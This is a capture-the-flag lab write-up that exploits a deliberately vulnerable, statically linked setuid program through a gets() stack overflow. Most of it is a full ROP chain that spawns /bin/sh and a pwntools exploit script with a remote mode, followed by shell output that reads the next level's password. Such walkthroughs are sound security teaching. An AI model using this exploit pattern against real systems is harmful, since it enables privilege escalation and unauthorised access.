For this lab, we are given a program and its corresponding source code:
#include <stdlib.h>
#include <stdio.h>
/* gcc -fno-stack-protector --static -o lab5B lab5B.c */
int main()
{
char buffer[128] = {0};
printf("Insert ROP chain here:\n");
gets(buffer);
return EXIT_SUCCESS;
}
We can see that it is statically compiled. Therefore, we cannot perform a traditional ret-2-libc attack and call system()
since no libraries are dynamically linked.
lab5B@warzone:/tmp/lab5B$ file /levels/lab05/lab5B
/levels/lab05/lab5B: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=09ad107d6eb5518c5781ccffdad51b39a28e237e, not stripped
However, this doesn’t prevent us from chaining together ROP gadgets to spawn a shell.
We can generate the ROP chain using ROPgadget
and place it on the stack, overwriting the saved return address with the first gadget.
lab5B@warzone:/tmp/lab5B$ ROPgadget --binary /levels/lab05/lab5B --ropchain
[...]
- Step 5 -- Build the ROP chain
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0806ec5a) # pop edx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080bbf26) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a95d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ec5a) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0x080bbf26) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a95d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ec5a) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080544e0) # xor eax, eax ; ret
p += pack('<I', 0x0809a95d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080e55ad) # pop ecx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x0806ec5a) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080544e0) # xor eax, eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x08049401) # int 0x80
Putting everything together, the following exploit will give us a shell.
Solution
#!/usr/bin/env python
from pwn import *
import sys
from struct import pack
def exploit(r):
p = ''
p += pack('<I', 0x0806ec5a) # pop edx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080bbf26) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a95d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ec5a) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0x080bbf26) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a95d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ec5a) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080544e0) # xor eax, eax ; ret
p += pack('<I', 0x0809a95d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080e55ad) # pop ecx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x0806ec5a) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080544e0) # xor eax, eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x0807b6b6) # inc eax ; ret
p += pack('<I', 0x08049401) # int 0x80
r.recvuntil("here:")
r.sendline("A"*140+p)
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process(['fixenv', '/levels/lab05/lab5B'])
print util.proc.pidof(r)
pause()
exploit(r)
lab5B@warzone:/tmp/lab5B$ python solve.py
[*] For remote: solve.py HOST PORT
[+] Starting program '/usr/local/bin/fixenv' argv=['fixenv', '/levels/lab05/lab5B'] : Done
[23268]
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=1019(lab5B) gid=1020(lab5B) euid=1020(lab5A) groups=1021(lab5A),1001(gameuser),1020(lab5B)
$ cat /home/lab5A/.pass
th4ts_th3_r0p_i_lik3_2_s33